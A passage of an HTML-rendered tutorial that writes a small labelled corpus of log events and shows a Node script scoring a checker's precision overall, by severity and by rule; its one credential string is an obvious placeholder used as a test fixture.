&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;run-4&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    events: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      { id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;e1&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, kind: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;output&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, text: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;api_key=sk-live-abc123&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    verdicts: { &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;secret-in-log:e1&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;corpus.jsonl&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, runs.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(r)).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`wrote ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;runs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.length&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} runs`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Score it, split by severity and by rule&lt;/h2&gt;
&lt;p&gt;An overall number is where a broken rule hides. Compute precision three ways in one pass.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// score.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;node:fs&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { check, RULES } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;./checker.mjs&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; runs &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;corpus.jsonl&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;utf8&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  .&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((line) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(line));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tally &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { all: { tp: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, fp: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; } };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; bySeverity &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; byRule &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; run &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; runs) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; finding &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; check&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(run.events)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; key &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;finding&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;ruleId&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;finding&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;eventId&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(key &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; run.verdicts)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: unlabelled finding ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} — label it before scoring`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; correct &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; run.verdicts[key];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; bucket &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; correct &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;tp&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;fp&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    tally.all[bucket]&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (bySeverity[finding.severity] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { tp: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, fp: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; })[bucket]&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (byRule[finding.ruleId] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { tp: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, fp: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; })[bucket]&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; precision&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ({ tp, fp }) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (tp &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; fp &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tp &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (tp &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; fp));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; pct&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (v) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (v &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;n/a&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 100&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;toFixed&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}%`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`overall precision: ${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;pct&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;precision&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tally&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} `&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;            `(${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tally&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} true, ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tally&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} false)`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;by severity:&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [severity, counts] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Object.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;entries&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(bySeverity)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;severity&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;pct&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;precision&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;counts&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}  `&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;              `(${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;counts&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} true, ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;counts&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} false)`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;by rule:&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rule &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; RULES) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; counts &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; byRule[rule.id];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;counts) { console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;rule&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;14&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} never fired`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;); &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
